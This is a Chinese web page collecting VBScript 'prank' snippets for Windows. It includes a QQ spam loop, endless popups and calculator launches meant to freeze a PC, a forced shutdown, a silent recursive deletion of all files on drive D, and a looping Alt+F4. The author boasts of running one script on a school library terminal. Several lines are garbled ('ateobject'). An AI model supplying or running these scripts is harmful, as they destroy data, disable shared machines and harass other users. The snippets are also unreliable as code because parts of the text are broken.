一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 注：要让相同的行列连接
xx.vbs=> 
=--------------------------------------------------------------------------- 
On Error Resume Next 
Dim wsh,ye 
set wsh=createobject("wscript.shell") 
for i=1 to 10 
wscript.sleep 700 
wsh.AppActivate("与 xx 聊天中") 
wsh.sendKeys "^v" 
wsh.sendKeys i 
wsh.sendKeys "%s" 
next 
wscript.quit 
----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 

------------------------------------------------------------------------------

do 
      msgbox "You are foolish!" 
loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机 
------------------------------------------------------------------------------

set wsh=createobject("wscript.shell") 
do 
wsh.run "calc" 
loop
-----------------------------------------------------------------------------

四、直接关机
-----------------------------------------------------------------------------
dim WSHshell 
set WSHshell = ateobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true 
-----------------------------------------------------------------------------
五、删除D:\所有文件 
---------------------------------------------------------------------------

dim WSHshell 
set WSHshell = ateobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 
----------------------------------------------------------------------------
六、不断弹出窗口 
----------------------------------------------------------------------------

while(1) 
msgbox "哈哈 你被耍了！" vbs小程序代码大全
loop 
----------------------------------------------------------------------------
七、不断按下alt+f4 （开什么都关闭……） 
-
--------------------------------------------------------------------------

dim WSHshell 
set WSHshell = ateobject("wscript.shell") 
while(1) 
WSHshell.SendKeys "%{F4}" 
loop

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------



dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop 
'------------------------ ------------------------------------------------------------


九、关不掉的窗口
------------------------------------------------------------------------------------

WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。